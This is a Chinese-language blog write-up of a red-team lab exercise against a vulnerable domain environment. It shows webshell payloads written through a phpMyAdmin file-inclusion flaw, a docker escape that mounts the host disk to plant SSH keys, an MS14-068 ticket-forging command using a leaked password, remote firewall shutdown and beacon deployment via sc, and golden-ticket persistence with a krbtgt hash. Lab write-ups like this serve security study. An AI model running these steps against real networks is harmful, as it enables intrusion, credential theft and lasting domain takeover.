红队评估四记录

本文最后更新于:2022年5月19日 晚上

环境准备

0x01 网络环境

我们总共拿到了3台机器,除了WEB机器需要配置双网卡外,其他的机器都只配置183网段的内网网卡即可。

image-20210818200846128

0x02 WEB服务

在官网给出了参考的学习路径,故我们启动前三个进行WEB服务的搭建

image-20210818201441653

Struts2漏洞(S2-053)

image-20210818204659123

pma文件包含漏洞(CVE-2018-12613)

image-20210818202354850

tomcat PUT文件上传漏洞(CVE-2017-12615):

image-20210818202741904

启动完成后,相应靶机的地址如下

image-20210818202913310

渗透流程

0x01 Struts2

使用工具进行检测

image-20210818204746207

根据得到的根目录上传Webshell

image-20210818204754787

冰蝎连接

image-20210818204908875

0x02 PMA文件包含

根据Poc进行验证,输入查询语句并尝试包含Session文件

1
`SELECT '<?=@eval($_GET[g]);?>';`

包含成功,可以进行利用

image-20210818211628129

接着执行查询,使得包含后能够生成一句话木马

1
SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`; 

image-20210823185416742

访问后在根目录下可以看到生成的一句话木马文件

image-20210823185451754

蚁剑连接

image-20210823185543984

0x03 Tomcat PUT文件上传

上传Webshell

image-20210823190343122

冰蝎连接

image-20210823190437147

0x04 docker逃逸

这里尝试了诸多方法都失败了,最后发现

1
fdisk -l

能够看到物理机的磁盘,按理来说这是要用特权模式启动容器才可能出现的情况,这个可能是环境本身的原因?

image-20210823203420463

但既然有我们就可以好好利用了,就用这个容器进行逃逸吧

挂载磁盘

1
2
mkdir /test
mount /dev/sda1 /test

这里有点小坑,正常来说authorized_keys文件的权限应该是644,但本机上没有该文件,然后使用了如下命令写入自己的ssh公钥

1
echo '<your-keys>' > /test/home/ubuntu/.ssh/authorized_keys

这个新生成的文件是640权限的,这导致使用ssh登陆时依旧需要WEB机器的密码,然后这个容器中是没有sudochmod命令的,无法在容器中更改文件的权限

我把这个算作异常情况,所以直接登上去改成了644

1
ubuntu@ubuntu:~/.ssh$ sudo chmod 644 authorized_keys

后记:在寻找更佳的解决方案的时候发现有个方案是先覆写WEB机器的公钥文件然后复制,参考

image-20210824164419763

在修改完成后就能正常免密登陆了

image-20210823212439920

这里试着使用脏牛漏洞提权,但是失败了,原因未知

0x05 内网渗透

我们的目的最后是拿下域控,边缘机器能够架设路由的话就问题不大,所以我们就直接上线msf了。上线msf后添加路由

image-20210823214932367

添加路由后使用MS17-010的扫描模块进行扫描,发现129和130两台机子都在影响范围内

image-20210823215531820

0x06 非预期解-直接拿下域控

这里就发生了比较有趣的事情,在msf上,对两台机器的MS17-010模块的利用都是以失败告终了(130的图忘了截了)

无论是架设代理还是使用bind_tcp,都是利用失败,原因未知

image-20210824140827617

然后我使用了原生的方程式工具直接把域控的机器打下来了。。

image-20210824102703218

image-20210824105530530

虽然有些突然,但这也是域中的机器,习惯性地收集些信息

1
net user /domain

image-20210824115845986

1
net time /domain

image-20210824115956134

dump了hash拿去解密能够拿到域控的密码

image-20210824170439778

image-20210824110814623

0x07 非预期解-尝试拿下PC机

douser的密码没能解出(但理论上可以传递哈希),但是根据官方的提示我们能在WEB机器的bash执行历史记录中发现该用户的密码

image-20210824141127059

但是尝试进行哈希传递时失败了,这里卡了好久

image-20210824170912053

Google了一下,报错原因可能是域的配置出现了问题

image-20210824120337949

使用原生的PsExec也失败了,然后两天后还是没找到方法,域控也拿到了,遂在该解法中放弃了这台机器

image-20210824135729926

0x08 预期解-上线PC

这里参考别的师傅的正常打法再完整走一遍流程

正常来说我们应该能通过MS17-010漏洞拿下了PC机的Meterpreter,但这里使用msf的web_delivery模块时还是会出问题,这里我直接虚拟机登录后上线CS了

image-20210824175417973

0x09 预期解-域提权

无关的信息收集就暂不列出了,这里是使用MS17-068漏洞进行提权并拿下域控

1
net computers #CS独有命令

image-20210824182227452

1
whoami /all #获取域用户SID

image-20210824175751164

在之前我们提到过泄露的域用户和对应的密码,可以用它生成所需的凭据

1
ms14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

image-20210824181208030

之后清除内存中的票据并将生成的票据注入

1
2
kerberos::purge
kerberos::ptc 生成的票据名

image-20210824181930154

image-20210824182116812

进行权限验证,尝试访问域控

1
dir \\WIN-ENS2VR5TR3N\c$

image-20210824182348372

0x0A 预期解-上线域控

在确定拿到域管权限后可以使用sc上线CS

首先是关闭防火墙

1
2
sc \\WIN-ENS2VR5TR3N create closewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start closewall

image-20210825162705351

制作木马并上传PC机器

image-20210825171126179

image-20210825163538040

使用copy命令上传到域控

1
copy C:\Users\douser\Documents\beacon.exe \\WIN-ENS2VR5TR3N\c$

image-20210825163639435

使用sc创建服务并启动

1
2
sc \\WIN-ENS2VR5TR3N create cs binpath= "c:\beacon.exe"
sc \\WIN-ENS2VR5TR3N start cs

image-20210825163812010

之后导出hash

image-20210825171429435

0x0B 预期解-权限维持

之后试试黄金票据进行权限维持

先是获取需要伪造用户的SID

1
wmic useraccount get name,sid

image-20210825173605240

在之前的HashDump中能够拿到krbtgt的NTLM Hash,我们使用它来生成黄金票据

1
kerberos::golden /admin:administrator /domain:demo.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:Administrator.kiribi

image-20210825174417763

之后对票据有效性进行验证

首先清除内存中的票据

1
kerberos::purge

image-20210825174930517

尝试域控的目录,可以看到权限不足

1
dir \\WIN-ENS2VR5TR3N\c$

image-20210825174943935

将生成的黄金票据注入到内存中

1
kerberos::ptt Administrator.kiribi

image-20210825175010502

查看注入的票据

1
kerberos::tgt

image-20210825175026691

再尝试列目录,可以看到成功了

1
dir \\WIN-ENS2VR5TR3N\c$

image-20210825175037089

这样,我们就可以在一段时间内维持域内权限了,只要krbtgt不更改密码这张票据就一直有效。


红队评估四记录
https://m0ck1ng-b1rd.github.io/2021/12/07/vulstack/红队评估四/
作者
何语灵
发布于
2021年12月7日
许可协议